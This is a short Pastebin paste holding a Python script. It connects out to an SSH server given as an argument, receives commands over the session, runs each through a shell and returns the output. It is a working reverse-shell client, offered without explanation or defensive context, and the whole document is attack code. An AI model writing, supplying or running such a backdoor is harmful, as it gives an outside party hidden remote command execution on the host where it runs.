Advertisement
Guest User

Untitled

a guest
Aug 27th, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.86 KB | None | 0 0
  1. import paramiko
  2. import subprocess
  3. import sys
  4. #script args
  5. server_address = sys.argv[1]
  6. server_port = int(sys.argv[2])
  7. username = sys.argv[3]
  8. password = sys.argv[4]
  9. #connect to the remote ssh server and recieve commands to be #executed and send back output
  10. def ssh_command(server_address, server_port, username, password):
  11. #instantiate the ssh client
  12. client = paramiko.SSHClient()
  13. #optional is using keys instead of password auth
  14. #client.load_host_key('/path/to/file')
  15. #auto add key
  16. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  17. #connect to ssh server
  18. client.connect(
  19. server_address,
  20. port=server_port,
  21. username=username,
  22. password=password
  23. )
  24. #get ssh session
  25. client_session = client.get_transport().open_session()
  26. if client_session.active and not client_session.closed:
  27. #wait for command, execute and send result ouput
  28. while True:
  29. #use subprocess run with timeout of 30 seconds
  30. try:
  31. command = client_session.recv(1024).decode('utf-8')
  32. command_output = subprocess.run(
  33. command, stdout=subprocess.PIPE,
  34. stderr=subprocess.PIPE,
  35. shell=True,
  36. timeout=30
  37. )
  38. #send back the resulting output
  39. if len(command_output.stderr.decode('utf-8')):
  40. client_session.send(command_output.stderr.decode('utf-8'))
  41. elif len(command_output.stdout.decode('utf-8')):
  42. client_session.send(command_output.stdout.decode('utf-8'))
  43. else:
  44. client_session.send('null')
  45. except subprocess.CalledProcessError as err:
  46. client_session.send(str(err))
  47. client_session.close()
  48. return
  49. ssh_command(server_address, server_port, username, password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement